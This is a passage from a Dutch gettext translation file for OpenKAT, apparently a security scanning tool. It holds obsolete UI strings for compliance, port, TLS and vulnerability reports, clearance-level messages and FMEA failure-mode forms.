Bevindingenrapport geeft een overzicht van de geïdentificeerde \"\n#~ \"bevindingen op de gescande systemen. Voor elke bevinding wordt het \"\n#~ \"risiconiveau en het aantal gebeurtenissen van de bevinding getoond. Onder \"\n#~ \"de sectie ‘Details’ staat een beschrijving, impact, aanbeveling en \"\n#~ \"locatie van de bevinding. Het risiconiveau is wellicht anders voor uw \"\n#~ \"specifieke omgeving.\"\n\n#~ msgid \"IPV6 overview\"\n#~ msgstr \"IPv6-overzicht\"\n\n#~ msgid \"Check whether hostnames point to ipv6 addresses.\"\n#~ msgstr \"Controle of hostnamen naar IPv6-adressen verwijzen.\"\n\n#~ msgid \"\"\n#~ \"The mail report provides an overview of the compliance checks associated \"\n#~ \"with e-mail servers. The current compliance check the presence of SPF, \"\n#~ \"DKIM and DMARC records. The table below shows for each of these checks \"\n#~ \"how many of the identified mail servers are compliant, and if applicable \"\n#~ \"a compliance issue description and risk level. The risk level may be \"\n#~ \"different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"Het Mailrapport geeft een overzicht van de compliancecontroles \"\n#~ \"geassocieerd met e-mailservers. De huidige compliancecontroles \"\n#~ \"controleren de aanwezigheid van SPF-, DKIM- en DMARC-dossiers. De tabel \"\n#~ \"hieronder toont hoeveel van de geïdentificeerde mailservers compliant \"\n#~ \"zijn, en indien van toepassing, een beschrijving van het \"\n#~ \"complianceprobleem en risiconiveau. Het risiconiveau kan verschillen voor \"\n#~ \"uw specifieke omgeving.\"\n\n#~ msgid \"\"\n#~ \"System specific mail report that focusses on IP addresses and hostnames.\"\n#~ msgstr \"\"\n#~ \"Systeemspecifiek Mailrapport dat focust op IP-adressen en hostnames.\"\n\n#~ msgid \"Overview of ip version compliance\"\n#~ msgstr \"Overzicht van compliance met IP-versies\"\n\n#~ msgid \"Occurrences (IP addressees)\"\n#~ msgstr \"Voorvallen (IP-adressen)\"\n\n#~ msgid \"\"\n#~ \"The name server report provides an overview of the compliance checks that \"\n#~ \"were performed against the identified Domain Name Servers (DNS). The \"\n#~ \"compliance checks verify the presence and validity of DNSSEC and whether \"\n#~ \"no unnecessary ports were identified to be open. The table below gives an \"\n#~ \"overview of the available checks including whether the system passed the \"\n#~ \"performed checks. The risk level and reasoning as to why an issue was \"\n#~ \"identified are shown too. The risk level may be different for your \"\n#~ \"specific environment.\"\n#~ msgstr \"\"\n#~ \"Het Name Server-rapport geeft een overzicht van de compliancecontroles \"\n#~ \"die werden uitgevoerd tegen de geïdentificeerde Domain Name Servers \"\n#~ \"(DNS). De compliancecontroles bevestigen de aanwezigheid en geldigheid \"\n#~ \"van DNSSEC en of er geen onnodige openstaande poorten zijn \"\n#~ \"geïdentificeerd. De tabel hieronder geeft een overzicht van de \"\n#~ \"beschikbare controles inclusief of het systeem de uitgevoerde controles \"\n#~ \"heeft doorstaan. Het risiconiveau en redenen waarom er een probleem is \"\n#~ \"geïdentificeerd worden ook getoond. Het risiconiveau is misschien anders \"\n#~ \"voor uw specifieke omgeving.\"\n\n#~ msgid \"Name server report checks name servers on basic security standards.\"\n#~ msgstr \"\"\n#~ \"Name Server-rapport controleert de basisbeveiligingsmaatregelen van \"\n#~ \"nameservers.\"\n\n#~ msgid \"\"\n#~ \"The open ports report provides an overview of the open ports identified \"\n#~ \"on a system. The ports that are marked as <b>bold</b> were identified by \"\n#~ \"direct scans performed by OpenKAT (such as nmap). Ports that are not \"\n#~ \"marked in bold were identified through external services and/or scans \"\n#~ \"(such as Shodan). Scans with the same hostnames, ports and IPs are merged.\"\n#~ msgstr \"\"\n#~ \"Het Open Poorten-rapport geeft een overzicht van de open poorten die zijn \"\n#~ \"geïdentificeerd op een systeem. De poorten die <b>vetgedrukt</b> zijn \"\n#~ \"gemarkeerd werden geïdentificeerd door directe scans uitgevoerd door \"\n#~ \"OpenKAT (zoals nmap). Poorten die niet zijn gemarkeerd, zijn \"\n#~ \"geïdentificeerd door externe diensten en/of scans (zoals Shodan). Scans \"\n#~ \"met dezelfde hostnamen, poorten en IP’s zijn samengevoegd.\"\n\n#~ msgid \"\"\n#~ \"The RPKI report shows if an RPKI route announcement was available for the \"\n#~ \"system and if this announcement is not expired.\"\n#~ msgstr \"\"\n#~ \"Het RPKI-rapport toont aan dat een RPKI-route-announcement beschikbaar \"\n#~ \"was voor het systeem en of deze aankondiging niet is verlopen.\"\n\n#~ msgid \"\"\n#~ \"Shows whether the ip is covered by a valid RPKI ROA. For a hostname it \"\n#~ \"shows the ip addresses and whether they are covered by a valid RPKI ROA.\"\n#~ msgstr \"\"\n#~ \"Toont of een IP valt onder een valide RPKI ROA. Toont voor een hostname \"\n#~ \"de IP-adressen en of ze valt onder een valide RPKI ROA.\"\n\n#~ msgid \"\"\n#~ \"The system report provides an overview of the system types (types of \"\n#~ \"similar services) that were identified for each system. The following \"\n#~ \"system types can be identified: DNS servers, Web servers, Mail servers \"\n#~ \"and those classified as 'Other' servers. Each hostname and/or IP address \"\n#~ \"is given one or more system types depending on the identified ports and \"\n#~ \"services. The table below gives an overview of these results.\"\n#~ msgstr \"\"\n#~ \"Het Systeemrapport geeft een overzicht van de systeemtypes die werden \"\n#~ \"geïdentificeerd voor elk systeem. De volgende systemen kunnen worden \"\n#~ \"geïdentificeerd: DNS-servers, webservers, mailservers en die \"\n#~ \"geclassificeerd als ‘Overige’ servers. Elke hostname en/of IP-adres wordt \"\n#~ \"een of meer systeemtypes gegeven, afhankelijk van de geïdentificeerde \"\n#~ \"poorten en diensten. De tabel hieronder geeft een overzicht van deze \"\n#~ \"resultaten.\"\n\n#~ msgid \"\"\n#~ \"The TLS report shows which TLS protocols and ciphers were identified on \"\n#~ \"the host for the provided port.\"\n#~ msgstr \"\"\n#~ \"Het TLS-rapport toont welke TLS-protocollen en -versleutelingen werden \"\n#~ \"geïdentificeerd op de gekozen host en poort.\"\n\n#~ msgid \"\"\n#~ \"TLS reports assess the security of data encryption and transmission \"\n#~ \"protocols.\"\n#~ msgstr \"\"\n#~ \"TLS-rapporten geven inzicht in de beveiliging van data-encryptie en \"\n#~ \"transportprotocollen.\"\n\n#~ msgid \"\"\n#~ \"The vulnerability report provides an overview of all identified CVE \"\n#~ \"vulnerabilities that were identified on the selected systems. For each \"\n#~ \"CVE the table shows the CVE scoring, the number of occurrences, and the \"\n#~ \"CVE details.\"\n#~ msgstr \"\"\n#~ \"Het Kwetsbaarhedenrapport geeft een overzicht van alle geïdentificeerde \"\n#~ \"CVE-kwetsbaarheden die werden geïdentificeerd op de geselecteerde \"\n#~ \"systemen. Voor elke CVE wordt de CVE-score, het aantal gebeurtenissen en \"\n#~ \"de CVE-details getoond.\"\n\n#~ msgid \"\"\n#~ \"The web system report provides an overview of various web server checks \"\n#~ \"that were performed against the scanned system(s). For each performed \"\n#~ \"check the table below shows whether or not the server is compliant with \"\n#~ \"the checks. A description of why this compliant check failed is also \"\n#~ \"shown, including an general risk level. The risk level may be different \"\n#~ \"for your specific environment.\"\n#~ msgstr \"\"\n#~ \"Het Web System-rapport geeft een overzicht van verschillende \"\n#~ \"webservercontroles die werden uitgevoerd op het gescande systeem. Voor \"\n#~ \"elke uitgevoerde controle toont onderstaande tabel, of de server voldoet \"\n#~ \"aan de controles. Een beschrijving van de falende controles wordt ook \"\n#~ \"getoond, inclusief een algemeen risiconiveau. Het risiconiveau is \"\n#~ \"misschien anders voor uw specifieke omgeving.\"\n\n#~ msgid \"Web system reports check web systems on basic security standards.\"\n#~ msgstr \"\"\n#~ \"Web System-rapport controleert websystemen tegen \"\n#~ \"basisbeveiligingsstandaarden.\"\n\n#~ msgid \"Risk score:\"\n#~ msgstr \"Risicoscore:\"\n\n#~ msgid \"Clearance level inheritance:\"\n#~ msgstr \"Overerving op vrijwaringsniveau:\"\n\n#~ msgid \"Clearance level:\"\n#~ msgstr \"Vrijwaringsniveau:\"\n\n#~ msgid \"Set clearance level:\"\n#~ msgstr \"Vrijwaringsniveau instellen:\"\n\n#~ msgid \"Select object\"\n#~ msgid_plural \"Select objects\"\n#~ msgstr[0] \"Selecteer object\"\n#~ msgstr[1] \"Selecteer objecten\"\n\n#~ msgid \"explanation select all\"\n#~ msgstr \"uitleg alles selecteren\"\n\n#~ msgid \"Explanation 'Continue with all OOIs:'\"\n#~ msgstr \"Verklaring ‘Doorgaan met alle OOI’s:’\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"This option will select all OOIs (+ current filters) for %(organization)s \"\n#~ \"organization.\"\n#~ msgstr \"\"\n#~ \"Deze optie zal alle OOI’s (+ huidige filters) voor %(organization)s \"\n#~ \"organisaties selecteren.\"\n\n#~ msgid \"Continue with all OOIs\"\n#~ msgstr \"Doorgaan met alle OOI’s\"\n\n#~ msgid \"Selected object\"\n#~ msgid_plural \"Selected objects\"\n#~ msgstr[0] \"Geselecteerd object\"\n#~ msgstr[1] \"Geselecteerde objecten\"\n\n#~ msgid \"You have selected all objects in previous step.\"\n#~ msgstr \"U hebt alle objecten in de vorige stap geselecteerd.\"\n\n#~ msgid \"\"\n#~ \"If you choose not to give a plugin permission to run, the data that \"\n#~ \"plugin would collect or produce will be left out of the report which will \"\n#~ \"then be generated based on the available data collected by the enabled \"\n#~ \"plugins.\"\n#~ msgstr \"\"\n#~ \"Als u ervoor kiest om een plug-in geen toestemming te geven om te \"\n#~ \"draaien, dan worden de gegevens die de plug-in zou verzamelen of \"\n#~ \"produceren buiten het rapport gehouden. Het rapport wordt dan gegenereerd \"\n#~ \"op basis van de beschikbare gegevens die zijn verzameld door de \"\n#~ \"ingeschakelde plug-ins.\"\n\n#~ msgid \"\"\n#~ \"This report may not show all the data as some required plugins are not \"\n#~ \"enabled.\"\n#~ msgstr \"\"\n#~ \"Dit rapport laat misschien niet alle gegevens zien, omdat enkele vereiste \"\n#~ \"plug-ins niet zijn ingeschakeld.\"\n\n#~ msgid \"Permission to set OOI clearance levels \"\n#~ msgstr \"Toestemming om vrijwaringsniveaus van OOI in te stellen \"\n\n#~ msgid \"You have currently accepted clearance up to level \"\n#~ msgstr \"U hebt momenteel vrijwaring geaccepteerd tot niveau \"\n\n#~ msgid \"\"\n#~ \"If you don’t remember the email address connected to your account, \"\n#~ \"contact: \"\n#~ msgstr \"\"\n#~ \"Als u het aan uw account gekoppelde e-mailadres niet meer weet, neem dan \"\n#~ \"contact op met: \"\n\n#~ msgid \"Publisher\"\n#~ msgstr \"Uitgever\"\n\n#~ msgid \"You don't have permission to enable \"\n#~ msgstr \"U heeft geen toestemming om in te schakelen. \"\n\n#~ msgid \"\"\n#~ \"<span>Warning scan level:</span> Scanning OOI's with a lower clearance \"\n#~ \"level will result in OpenKAT increasing the clearance level on that OOI, \"\n#~ \"not only for this scan but from now on out, until it manually gets set to \"\n#~ \"something else again. This means that all other enabled Boefjes will use \"\n#~ \"this higher clearance level aswel.\"\n#~ msgstr \"\"\n#~ \"<span>Waarschuwing scanniveau:</span>\\n\"\n#~ \"          Het scannen van OOI’s met een lager vrijwaringsniveau leidt \"\n#~ \"ertoe dat OpenKAT het vrijwaringsniveau op die OOI verhoogt,\\n\"\n#~ \"          niet alleen voor deze scan, maar vanaf nu, totdat het handmatig \"\n#~ \"weer op iets anders wordt ingesteld.\\n\"\n#~ \"          Dit betekent dat alle andere ingeschakelde Boefjes ook dit \"\n#~ \"hogere vrijwaringsniveau zullen gebruiken.\"\n\n#~ msgid \"Basic security status:\"\n#~ msgstr \"Basisbeveiligingsstatus:\"\n\n#~ msgid \"Created with data from\"\n#~ msgstr \"Gemaakt met gegevens van\"\n\n#~ msgid \"Created on\"\n#~ msgstr \"Gemaakt op\"\n\n#~ msgid \"Check overview:\"\n#~ msgstr \"Controleoverzicht:\"\n\n#~ msgid \"Findings:\"\n#~ msgstr \"Bevindingen:\"\n\n#~ msgid \"Other findings found:\"\n#~ msgstr \"Andere gevonden bevindingen:\"\n\n#~ msgid \"IPV6 overview:\"\n#~ msgstr \"IPv6-overzicht:\"\n\n#~ msgid \"Mailserver compliance:\"\n#~ msgstr \"Mailserver compliance:\"\n\n#~ msgid \"Vulnerabilities grouped per system.\"\n#~ msgstr \"Kwetsbaarheden gegroepeerd per systeem.\"\n\n#~ msgid \"Name server compliance:\"\n#~ msgstr \"Compliance naamserver:\"\n\n#~ msgid \"Name server Report\"\n#~ msgstr \"Nameserverrapport\"\n\n#~ msgid \"Overview of open ports found for the scanned assets.\"\n#~ msgstr \"\"\n#~ \"Overzicht van open poorten die zijn gevonden voor de gescande assets.\"\n\n#~ msgid \"RPKI compliance:\"\n#~ msgstr \"Compliance RPKI:\"\n\n#~ msgid \"Safe connections compliance:\"\n#~ msgstr \"Compliance veilige verbindingen:\"\n\n#~ msgid \"Selected assets:\"\n#~ msgstr \"Geselecteerde assets:\"\n\n#~ msgid \"Ciphers:\"\n#~ msgstr \"Ciphers:\"\n\n#~ msgid \"Vulnerabilities:\"\n#~ msgstr \"Kwetsbaarheden:\"\n\n#~ msgid \"Web system compliance:\"\n#~ msgstr \"Compliance websysteem:\"\n\n#~ msgid \"Objects:\"\n#~ msgstr \"Objecten:\"\n\n#~ msgid \"Set up scan\"\n#~ msgstr \"Scans configureren\"\n\n#~ msgid \"Total per severity overview:\"\n#~ msgstr \"Overzicht totalen per ernst:\"\n\n#~ msgid \"Services:\"\n#~ msgstr \"Services:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Deleting the %(object_name)s '%(escaped_object)s' would result in \"\n#~ \"deleting related objects, but your account doesn't have permission to \"\n#~ \"delete the following types of objects:\"\n#~ msgstr \"\"\n#~ \"Het verwijderen van %(object_name)s ‘%(escaped_object)s’ zou resulteren \"\n#~ \"in de verwijdering van gerelateerde objecten, maar uw account heeft niet \"\n#~ \"de rechten om de volgende objecttypes te verwijderen:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Deleting the %(object_name)s '%(escaped_object)s' would require deleting \"\n#~ \"the following protected related objects:\"\n#~ msgstr \"\"\n#~ \"Het verwijderen van %(object_name)s ‘%(escaped_object)s’ heeft tot gevolg \"\n#~ \"dat de volgende gerelateerde objecten ook worden verwijderd:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Are you sure you want to delete the %(object_name)s \"\n#~ \"\\\"%(escaped_object)s\\\"? All of the following related items will be \"\n#~ \"deleted:\"\n#~ msgstr \"\"\n#~ \"Weet u zeker dat u %(object_name)s ‘%(escaped_object)s’ wilt verwijderen? \"\n#~ \"Alle volgende gerelateerde objecten worden ook verwijderd:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Deleting the selected %(objects_name)s would result in deleting related \"\n#~ \"objects, but your account doesn't have permission to delete the following \"\n#~ \"types of objects:\"\n#~ msgstr \"\"\n#~ \"Het verwijderen van het geselecteerde object %(objects_name)s heeft tot \"\n#~ \"gevolg dat de gerelateerde objecten ook worden verwijderd, maar uw \"\n#~ \"account heeft geen toestemming om de volgende objecten te verwijderen:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Deleting the selected %(objects_name)s would require deleting the \"\n#~ \"following protected related objects:\"\n#~ msgstr \"\"\n#~ \"Het verwijderen van %(objects_name)s heeft tot gevolg dat de volgende \"\n#~ \"beschermde gerelateerde objecten ook worden verwijderend:\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n#~ \"following objects and their related items will be deleted:\"\n#~ msgstr \"\"\n#~ \"Weet u zeker dat u de geselecteerde %(objects_name)s wilt verwijderen? \"\n#~ \"Alle volgende gerelateerde objecten worden ook verwijderd:\"\n\n#~ msgid \"Reason\"\n#~ msgstr \"Reden\"\n\n#~ msgid \"Overview of findings for \"\n#~ msgstr \"Overzicht van bevindingen voor \"\n\n#~ msgid \"Error\"\n#~ msgstr \"Foutmelding\"\n\n#~ msgid \"Explanation\"\n#~ msgstr \"Toelichting\"\n\n#~ msgid \"Here, an indemnification can be given on behalf of your organization\"\n#~ msgstr \"Geef hier een vrijwaring namens uw organisatie\"\n\n#~ msgid \"Confirmation\"\n#~ msgstr \"Bevestiging\"\n\n#~ msgid \"No related objects added to \"\n#~ msgstr \"Geen gerelateerde objecten toegevoegd aan \"\n\n#~ msgid \"Use the button below to add a related object. \"\n#~ msgstr \"Gebruik de knop hieronder om een gerelateerd object toe te voegen. \"\n\n#~ msgid \"Logged in as\"\n#~ msgstr \"Aangemeld als\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                             \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"Kon vrijwaringsniveau van %s niet verhogen naar L%s.Vrijwaring op \"\n#~ \"organisatie %s niet aanwezig.\"\n\n#~ msgid \"DNS Zone\"\n#~ msgstr \"DNS Zone\"\n\n#~ msgid \"\"\n#~ \"OpenKAT added the following required object to your object list to \"\n#~ \"complete your request: {}\"\n#~ msgstr \"\"\n#~ \"OpenKAT heeft het volgende vereiste object toegevoegd aan uw objectlijst \"\n#~ \"om uw verzoek te voltooien: {}\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                 \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"Kon vrijwaringsniveau van %s niet verhogen naar L%s. Vrijwaring niet \"\n#~ \"aanwezig bij organisatie %s.\"\n\n#~ msgid \"\"\n#~ \"The table below gives an overview of the DNS records that were found for \"\n#~ \"the abovementioned DNSZone.\"\n#~ msgstr \"\"\n#~ \"De tafel hier onder geeft een overzicht van de DNS-gegevens die zijn \"\n#~ \"gevonden voor de hier boven genoemde DNSZone.\"\n\n#~ msgid \"\"\n#~ \"See an overview of open ports found. <strong>Bold</strong> open ports are \"\n#~ \"found through direct scans that the organization performs via OpenKAT. \"\n#~ \"Other open ports were found outside by OpenKAT itself. Scans with the \"\n#~ \"same hostnames, ports and IPs are merged.\"\n#~ msgstr \"\"\n#~ \"Bekijk een overzicht van gevonden open poorten. <strong>Vetgedrukte</\"\n#~ \"strong> open poorten zijn gevonden door directe scans die de organisatie \"\n#~ \"uitvoert via OpenKAT. Andere open poorten werden door OpenKAT zelf \"\n#~ \"gevonden. Scans met dezelfde hostnamen, poorten en IP's zijn samengevoegd.\"\n\n#~ msgid \"Safe Connections\"\n#~ msgstr \"Veilige verbindingen\"\n\n#~ msgid \"No ciphers found for this IPService\"\n#~ msgstr \"Geen Ciphers gevonden voor deze IPService\"\n\n#~ msgid \"Report for organization\"\n#~ msgstr \"Rapport voor organisatie\"\n\n#~ msgid \"\"\n#~ \"Through a systematic examination of the network's infrastructure, the \"\n#~ \"scan has identified potential security weaknesses and points of exposure. \"\n#~ \"Additionally, the report offers actionable recommendations and \"\n#~ \"prioritizes remediation steps to fortify the network's defenses against \"\n#~ \"potential threats. This invaluable assessment serves as a roadmap for \"\n#~ \"enhancing network security, ensuring the confidentiality, integrity, and \"\n#~ \"availability of critical data and resources.\"\n#~ msgstr \"\"\n#~ \"Door een systematisch onderzoek van de infrastructuur van het netwerk, \"\n#~ \"heeft de scan potentiële beveiligingsrisico's en punten van blootstelling \"\n#~ \"geïdentificeerd. Het rapport biedt actieve aanbevelingen en prioriteiten \"\n#~ \"om de verdediging van het netwerk te versterken tegen potentiële \"\n#~ \"bedreigingen. Deze onmisbare beoordeling dient als een routekaart voor \"\n#~ \"het verbeteren van netwerkbeveiliging, de vertrouwelijkheid, integriteit, \"\n#~ \"en beschikbaarheid van kritische data en middelen.\"\n\n#~ msgid \"Selected Plugins for scans\"\n#~ msgstr \"Geselecteerde plug-ins voor scans\"\n\n#~ msgid \"\"\n#~ \"This report may not show all the data as some plugins are not enabled.\"\n#~ msgstr \"\"\n#~ \"Dit rapport toont misschien niet alle gegevens als sommige plug-ins niet \"\n#~ \"geactiveerd zijn.\"\n\n#~ msgid \"\"\n#~ \"Not all required boefjes are selected. Please select all required boefjes.\"\n#~ msgstr \"\"\n#~ \"Niet alle benodigde boefjes zijn geselecteerd. Selecteer alle benodigde \"\n#~ \"boefjes.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s.                         \"\n#~ \"Indemnification not present at organization %s.\"\n#~ msgstr \"\"\n#~ \"Kon vrijwaringsniveau van %s niet verhogen naar L%s.Vrijwaring niet \"\n#~ \"aanwezig bij organisatie %s.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Could not raise clearance level of %s to L%s. You acknowledged a \"\n#~ \"clearance level of L%s. Please accept the clearance level below to \"\n#~ \"proceed.\"\n#~ msgstr \"\"\n#~ \"Kan vrijwaringsniveau van %s niet verhogen naar L%s. U hebt een \"\n#~ \"vrijwaringsniveau bevestigd van L%s. Accepteer het vrijwaringsniveau \"\n#~ \"onderaan de pagina om verder te gaan.\"\n\n#~ msgid \"Choose a valid level\"\n#~ msgstr \"Kies een geldig niveau\"\n\n#, python-format\n#~ msgid \"Raw file could not be uploaded to Bytes: status code %s\"\n#~ msgstr \"Het ruw bestand kon niet geupload worden naar Bytes: status code %s\"\n\n#~ msgid \"Failure mode\"\n#~ msgstr \"Faalmodus\"\n\n#~ msgid \"Frequency Level\"\n#~ msgstr \"Frequentieniveau\"\n\n#~ msgid \"Detectability Level\"\n#~ msgstr \"Detecteerbaarheidsnivo\"\n\n#~ msgid \"Effect(s)\"\n#~ msgstr \"Effect(en)\"\n\n#~ msgid \"Describe in one sentence what type of failure mode you are creating.\"\n#~ msgstr \"Beschrijf in één zin welke type bevinding u wilt maken.\"\n\n#~ msgid \"Describe the failure mode in details.\"\n#~ msgstr \"Omschrijf de bevinding.\"\n\n#~ msgid \"\"\n#~ \"From 1 to 5, how often does this failure mode occurs. 1: Almost \"\n#~ \"unthinkable and 5: occurs daily.\"\n#~ msgstr \"\"\n#~ \"Hoe vaak komt de foutmodus voor, op een schaal van 1 tot 5. 1: Bijna \"\n#~ \"ondenkbaar en 5: dagelijks.\"\n\n#~ msgid \"\"\n#~ \"Is this failure mode easy detectable? Give it a score from 1 to 5. 1: \"\n#~ \"always detectable and 5: almost undetectable.\"\n#~ msgstr \"\"\n#~ \"Is deze bevinding eenvoudig te detecteren? Geef het een score van 1 tot \"\n#~ \"5. 1: altijd te detecteren en 5: bijna niet te detecteren.\"\n\n#~ msgid \"Describe the type of failure mode\"\n#~ msgstr \"Beschrijf het type bevinding\"\n\n#~ msgid \"explanation-failure-mode\"\n#~ msgstr \"uitleg-failure-mode\"\n\n#~ msgid \"Describe in more detail what the failure mode is about.\"\n#~ msgstr \"Beschrijf in meer detail waar het om gaat.\"\n\n#~ msgid \"explanation-description\"\n#~ msgstr \"uitleg-omschrijving\"\n\n#~ msgid \"explanation-frequency-level\"\n#~ msgstr \"uitleg-frequency-level\"\n\n#~ msgid \"explanation-detectability_level\"\n#~ msgstr \"uitleg-detectability_level\"\n\n#~ msgid \"You must at least set a failure mode.\"\n#~ msgstr \"Je moet tenminste een faal modus zetten.\"\n\n#~ msgid \"Choose a frequency level.\"\n#~ msgstr \"Kies een frequentieniveau.\"\n\n#~ msgid \"Choose a detectability level.\"\n#~ msgstr \"Kies een detectieniveau.\"\n\n#~ msgid \"Choose at least one effect.\"\n#~ msgstr \"Kies ten minste één effect.\"\n\n#~ msgid \"Affected Department\"\n#~ msgstr \"Betrokken afdeling\"\n\n#~ msgid \"Affected Objects\"\n#~ msgstr \"Betrokken objecten\"\n\n#~ msgid \"Choose a failure mode which applies to \"\n#~ msgstr \"Kies een bevinding die van toepassing is op \"\n\n#~ msgid \"When this failure mode occurs, which department is affected?\"\n#~ msgstr \"Als de bevinding plaatsvindt, welke afdeling is dan betrokken?\"\n\n#~ msgid \"Which objects does this failure mode affect when it occurs?\"\n#~ msgstr \"Welke objecten hebben met de bevinding te maken als het gebeurd?\"\n\n#~ msgid \"explanation-affected-ooi-type\"\n#~ msgstr \"uitleg-affected-ooi-type\"\n\n#~ msgid \"Effect\"\n#~ msgstr \"Effect\"\n\n#~ msgid \"Severity Level\"\n#~ msgstr \"Beveiligingsnivo\"\n\n#~ msgid \"Name a possible effect of any type of failure mode that can occur.\"\n#~ msgstr \"Geef een voorbeeld van een mogelijk effect van de bevinding.\"\n\n#~ msgid \"\"\n#~ \"Describe the severity of this effect ex. 1: not severe and 5: catastrophic\"\n#~ msgstr \"\"\n#~ \"Beschrijf de ernst van het effect. 1: niet ernstig en 5: catastrofaal\"\n\n#~ msgid \"Describe a possible effect for FMEA\"\n#~ msgstr \"Beschrijf een mogelijk effect voor FMEA\"\n\n#~ msgid \"explanation-effect\"\n#~ msgstr \"uitleg-effect\"\n\n#~ msgid \"explanation-severity-level\"\n#~ msgstr \"uitleg-severity-level\"\n\n#~ msgid \"The effect is required.\"\n#~ msgstr \"Het effect is vereist.\"\n\n#~ msgid \"This effect already exists.\"\n#~ msgstr \"Dit effect bestaat al.\"\n\n#~ msgid \"Choose a severity level.\"\n#~ msgstr \"Kies een ernstigheidsniveau.\"\n\n#~ msgid \"Finances\"\n#~ msgstr \"Financiële situatie\"\n\n#~ msgid \"Marketing\"\n#~ msgstr \"Marketing\"\n\n#~ msgid \"Human Resources\"\n#~ msgstr \"Personeelszaken\"\n\n#~ msgid \"Research & Development\"\n#~ msgstr \"Onderzoek & Ontwikkeling\"\n\n#~ msgid \"Administration\"\n#~ msgstr \"Administratie\"\n\n#~ msgid \"Level 1: Not Severe\"\n#~ msgstr \"Niveau 1: Niet ernstig\"\n\n#~ msgid \"Level 2: Harmful\"\n#~ msgstr \"Niveau 2: Schadelijk\"\n\n#~ msgid \"Level 3: Severe\"\n#~ msgstr \"Niveau 3: Ernstig\"\n\n#~ msgid \"Level 4: Very Harmful\"\n#~ msgstr \"Niveau 4: Zeer schadelijk\"\n\n#~ msgid \"Level 5: Catastrophic\"\n#~ msgstr \"Niveau 5: Katastrofaal\"\n\n#~ msgid \"\"\n#~ \"Level 1: Very Rare. Incident (almost) never occurs, almost unthinkable.\"\n#~ msgstr \"\"\n#~ \"Niveau 1: Zeer zeldzaam. Incident komt (bijna) nooit voor, bijna \"\n#~ \"ondenkbaar.\"\n\n#~ msgid \"Level 2: Rare. Incidents occur less than once a year (3-5).\"\n#~ msgstr \"\"\n#~ \"Niveau 2: Zeldzaam. Incidenten komen minder dan één keer per jaar (3-5) \"\n#~ \"voor.\"\n\n#~ msgid \"Level 3: Occurs. Incidents occur several times a year.\"\n#~ msgstr \"\"\n#~ \"Niveau 3: Doet zich voor. Incidenten vinden meerdere keren per jaar \"\n#~ \"plaats.\"\n\n#~ msgid \"Level 4: Regularly. Incidents occur weekly.\"\n#~ msgstr \"Niveau 4: Regelmatig. Er vinden wekelijks incidenten plaats.\"\n\n#~ msgid \"Level 5: Frequent. Incidents occur daily.\"\n#~ msgstr \"Niveau 5: Frequent. Incidenten komen dagelijks voor.\"\n\n#~ msgid \"\"\n#~ \"Level 1: Always Detectable. Incident (almost) never occurs, almost \"\n#~ \"unthinkable.\"\n#~ msgstr \"\"\n#~ \"Niveau 1: altijd detecteerbaar. Incident komt (bijna) nooit voor, bijna \"\n#~ \"ondenkbaar.\"\n\n#~ msgid \"\"\n#~ \"Level 2: Usually Detectable. Incidents occur less than once a year (3-5).\"\n#~ msgstr \"\"\n#~ \"Niveau 2: Meestal detecteerbaar. Incidenten komen minder dan één keer per \"\n#~ \"jaar (3-5) voor.\"\n\n#~ msgid \"Level 3: Detectable. Failure mode is detectable with effort.\"\n#~ msgstr \"Niveau 3: Detecteerbaar. De foutmodus is met moeite detecteerbaar.\"\n\n#~ msgid \"Level 4: Poorly Detectable. Detecting the failure mode is difficult.\"\n#~ msgstr \"\"\n#~ \"Niveau 4: Slecht detecteerbaar. Het detecteren van de foutmodus is \"\n#~ \"moeilijk.\"\n\n#~ msgid \"\"\n#~ \"Level 5: Almost Undetectable. Failure mode detection is very difficult or \"\n#~ \"nearly impossible.\"\n#~ msgstr \"\"\n#~ \"Niveau 5: Bijna niet detecteerbaar. Detectie van foutmodus is erg \"\n#~ \"moeilijk of bijna onmogelijk.\"\n\n#~ msgid \"Failure modes\"\n#~ msgstr \"Faalmodi\"\n\n#~ msgid \"Failure Mode Affected Objects\"\n#~ msgstr \"Objecten beinvloed door de foutmodus\"\n\n#~ msgid \"FMEA Departments Heatmap:\"\n#~ msgstr \"FMEA Afdelingen Heatmap:\"\n\n#~ msgid \"No data to build heatmap\"\n#~ msgstr \"Geen gegevens om heatmap te bouwen\"\n\n#~ msgid \"Failure mode affected object table:\"\n#~ msgstr \"Faal modus getroffen objecten tabel:\"\n\n#~ msgid \"Affected Object\"\n#~ msgstr \"Betrokken object\"\n\n#~ msgid \"Failure mode affected objects cannot be found.\"\n#~ msgstr \"Faal modus getroffen objecten kan niet gevonden worden.\"\n\n#~ msgid \"Define which objects are affected for a failure mode\"\n#~ msgstr \"Definiëren welke objecten worden beïnvloed voor een foutmodus\"\n\n#~ msgid \"Failure mode affected objects\"\n#~ msgstr \"Beïnvloedde objecten\"\n\n#~ msgid \"Save\"\n#~ msgstr \"Opslaan\"\n\n#~ msgid \"No failure mode yet defined.\"\n#~ msgstr \"Er is nog geen storing gedefinieerd.\"\n\n#~ msgid \"To add affected objects to a failure mode, first create one.\"\n#~ msgstr \"\"\n#~ \"Om betrokken objecten toe te voegen aan een foutmodus, maakt u er eerst \"\n#~ \"een aan.\"\n\n#~ msgid \"Create failure mode\"\n#~ msgstr \"Maak faal modus\"\n\n#~ msgid \"Failure mode affected objects table:\"\n#~ msgstr \"Tabel met getroffen objecten:\"\n\n#~ msgid \"No failure mode affected objects yet defined.\"\n#~ msgstr \"Er zijn nog geen objecten met een storing gedefinieerd.\"\n\n#~ msgid \"Create failure mode Affected Objects\"\n#~ msgstr \"Maak aan faal modus getroffen objecten\"\n\n#~ msgid \"Departments failure modes\"\n#~ msgstr \"Afdeling 